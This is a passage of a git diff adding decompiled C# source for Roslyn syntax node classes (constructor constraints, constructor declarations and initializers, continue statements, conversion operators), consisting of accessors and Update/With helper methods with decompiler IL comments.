((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return constantPatternSyntax; + } + return constantPatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public ConstantPatternSyntax WithExpression(ExpressionSyntax expression) + { + return Update(expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstructorConstraintSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstructorConstraintSyntax.cs new file mode 100644 index 0000000..85d5841 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstructorConstraintSyntax.cs @@ -0,0 +1,85 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ConstructorConstraintSyntax : TypeParameterConstraintSyntax +{ + public SyntaxToken NewKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConstructorConstraintSyntax)(object)((SyntaxNode)this).Green).newKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConstructorConstraintSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConstructorConstraintSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal ConstructorConstraintSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConstructorConstraint(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConstructorConstraint(this); + } + + public ConstructorConstraintSyntax Update(SyntaxToken newKeyword, SyntaxToken openParenToken, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword != NewKeyword || openParenToken != OpenParenToken || closeParenToken != CloseParenToken) + { + ConstructorConstraintSyntax constructorConstraintSyntax = SyntaxFactory.ConstructorConstraint(newKeyword, openParenToken, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return constructorConstraintSyntax; + } + return constructorConstraintSyntax.WithAnnotations(annotations); + } + return this; + } + + public ConstructorConstraintSyntax WithNewKeyword(SyntaxToken newKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(newKeyword, OpenParenToken, CloseParenToken); + } + + public ConstructorConstraintSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, openParenToken, CloseParenToken); + } + + public ConstructorConstraintSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, OpenParenToken, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstructorDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstructorDeclarationSyntax.cs new file mode 100644 index 0000000..1d8059a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstructorDeclarationSyntax.cs @@ -0,0 +1,315 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ConstructorDeclarationSyntax : BaseMethodDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private ParameterListSyntax? parameterList; + + private ConstructorInitializerSyntax? initializer; + + private BlockSyntax? body; + + private ArrowExpressionClauseSyntax? expressionBody; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConstructorDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override ParameterListSyntax ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 3); + + public ConstructorInitializerSyntax? Initializer => ((SyntaxNode)this).GetRed(ref initializer, 4); + + public override BlockSyntax? Body => ((SyntaxNode)this).GetRed(ref body, 5); + + public override ArrowExpressionClauseSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 6); + + public override SyntaxToken SemicolonToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConstructorDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(7), ((SyntaxNode)this).GetChildIndex(7)); + } + } + + public ConstructorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, ParameterListSyntax parameterList, ConstructorInitializerSyntax initializer, BlockSyntax body, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, identifier, parameterList, initializer, body, null, semicolonToken); + } + + internal ConstructorDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref parameterList, 3), + 4 => ((SyntaxNode)this).GetRed(ref initializer, 4), + 5 => ((SyntaxNode)this).GetRed(ref body, 5), + 6 => ((SyntaxNode)this).GetRed(ref expressionBody, 6), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => parameterList, + 4 => initializer, + 5 => body, + 6 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConstructorDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConstructorDeclaration(this); + } + + public ConstructorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, ParameterListSyntax parameterList, ConstructorInitializerSyntax? initializer, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || identifier != Identifier || parameterList != ParameterList || initializer != Initializer || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + ConstructorDeclarationSyntax constructorDeclarationSyntax = SyntaxFactory.ConstructorDeclaration(attributeLists, modifiers, identifier, parameterList, initializer, body, expressionBody, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return constructorDeclarationSyntax; + } + return constructorDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ConstructorDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Identifier, ParameterList, Initializer, Body, ExpressionBody, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new ConstructorDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Identifier, ParameterList, Initializer, Body, ExpressionBody, SemicolonToken); + } + + public ConstructorDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, identifier, ParameterList, Initializer, Body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithParameterListCore(ParameterListSyntax parameterList) + { + return WithParameterList(parameterList); + } + + public new ConstructorDeclarationSyntax WithParameterList(ParameterListSyntax parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Identifier, parameterList, Initializer, Body, ExpressionBody, SemicolonToken); + } + + public ConstructorDeclarationSyntax WithInitializer(ConstructorInitializerSyntax? initializer) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Identifier, ParameterList, initializer, Body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithBodyCore(BlockSyntax? body) + { + return WithBody(body); + } + + public new ConstructorDeclarationSyntax WithBody(BlockSyntax? body) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Identifier, ParameterList, Initializer, body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithExpressionBodyCore(ArrowExpressionClauseSyntax? expressionBody) + { + return WithExpressionBody(expressionBody); + } + + public new ConstructorDeclarationSyntax WithExpressionBody(ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Identifier, ParameterList, Initializer, Body, expressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new ConstructorDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Identifier, ParameterList, Initializer, Body, ExpressionBody, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ConstructorDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new ConstructorDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BaseMethodDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items) + { + return AddParameterListParameters(items); + } + + public new ConstructorDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameterList(ParameterList.WithParameters(ParameterList.Parameters.AddRange((IEnumerable)items))); + } + + internal override BaseMethodDeclarationSyntax AddBodyAttributeListsCore(params AttributeListSyntax[] items) + { + return AddBodyAttributeLists(items); + } + + public new ConstructorDeclarationSyntax AddBodyAttributeLists(params AttributeListSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithAttributeLists(blockSyntax.AttributeLists.AddRange((IEnumerable)items))); + } + + internal override BaseMethodDeclarationSyntax AddBodyStatementsCore(params StatementSyntax[] items) + { + return AddBodyStatements(items); + } + + public new ConstructorDeclarationSyntax AddBodyStatements(params StatementSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithStatements(blockSyntax.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstructorInitializerSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstructorInitializerSyntax.cs new file mode 100644 index 0000000..80c4bfa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConstructorInitializerSyntax.cs @@ -0,0 +1,98 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ConstructorInitializerSyntax : CSharpSyntaxNode +{ + private ArgumentListSyntax? argumentList; + + public SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConstructorInitializerSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken ThisOrBaseKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConstructorInitializerSyntax)(object)((SyntaxNode)this).Green).thisOrBaseKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ArgumentListSyntax ArgumentList => ((SyntaxNode)this).GetRed(ref argumentList, 2); + + internal ConstructorInitializerSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref argumentList, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)argumentList; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitConstructorInitializer(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitConstructorInitializer(this); + } + + public ConstructorInitializerSyntax Update(SyntaxToken colonToken, SyntaxToken thisOrBaseKeyword, ArgumentListSyntax argumentList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (colonToken != ColonToken || thisOrBaseKeyword != ThisOrBaseKeyword || argumentList != ArgumentList) + { + ConstructorInitializerSyntax constructorInitializerSyntax = SyntaxFactory.ConstructorInitializer(Kind(), colonToken, thisOrBaseKeyword, argumentList); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return constructorInitializerSyntax; + } + return constructorInitializerSyntax.WithAnnotations(annotations); + } + return this; + } + + public ConstructorInitializerSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(colonToken, ThisOrBaseKeyword, ArgumentList); + } + + public ConstructorInitializerSyntax WithThisOrBaseKeyword(SyntaxToken thisOrBaseKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(ColonToken, thisOrBaseKeyword, ArgumentList); + } + + public ConstructorInitializerSyntax WithArgumentList(ArgumentListSyntax argumentList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(ColonToken, ThisOrBaseKeyword, argumentList); + } + + public ConstructorInitializerSyntax AddArgumentListArguments(params ArgumentSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithArgumentList(ArgumentList.WithArguments(ArgumentList.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ContinueStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ContinueStatementSyntax.cs new file mode 100644 index 0000000..eea8262 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ContinueStatementSyntax.cs @@ -0,0 +1,123 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ContinueStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken ContinueKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ContinueStatementSyntax)(object)((SyntaxNode)this).Green).continueKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ContinueStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ContinueStatementSyntax Update(SyntaxToken continueKeyword, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, continueKeyword, semicolonToken); + } + + internal ContinueStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return ((SyntaxNode)this).GetRedAtZero(ref attributeLists); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return attributeLists; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitContinueStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitContinueStatement(this); + } + + public ContinueStatementSyntax Update(SyntaxList attributeLists, SyntaxToken continueKeyword, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || continueKeyword != ContinueKeyword || semicolonToken != SemicolonToken) + { + ContinueStatementSyntax continueStatementSyntax = SyntaxFactory.ContinueStatement(attributeLists, continueKeyword, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return continueStatementSyntax; + } + return continueStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ContinueStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, ContinueKeyword, SemicolonToken); + } + + public ContinueStatementSyntax WithContinueKeyword(SyntaxToken continueKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, continueKeyword, SemicolonToken); + } + + public ContinueStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ContinueKeyword, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ContinueStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConversionOperatorDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConversionOperatorDeclarationSyntax.cs new file mode 100644 index 0000000..6ba1151 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ConversionOperatorDeclarationSyntax.cs @@ -0,0 +1,406 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ConversionOperatorDeclarationSyntax : BaseMethodDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + private TypeSyntax? type; + + private ParameterListSyntax? parameterList; + + private BlockSyntax? body; + + private ArrowExpressionClauseSyntax? expressionBody; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken ImplicitOrExplicitKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorDeclarationSyntax)(object)((SyntaxNode)this).Green).implicitOrExplicitKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 3); + + public SyntaxToken OperatorKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorDeclarationSyntax)(object)((SyntaxNode)this).Green).operatorKeyword, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public SyntaxToken CheckedKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken checkedKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorDeclarationSyntax)(object)((SyntaxNode)this).Green).checkedKeyword; + if (checkedKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, 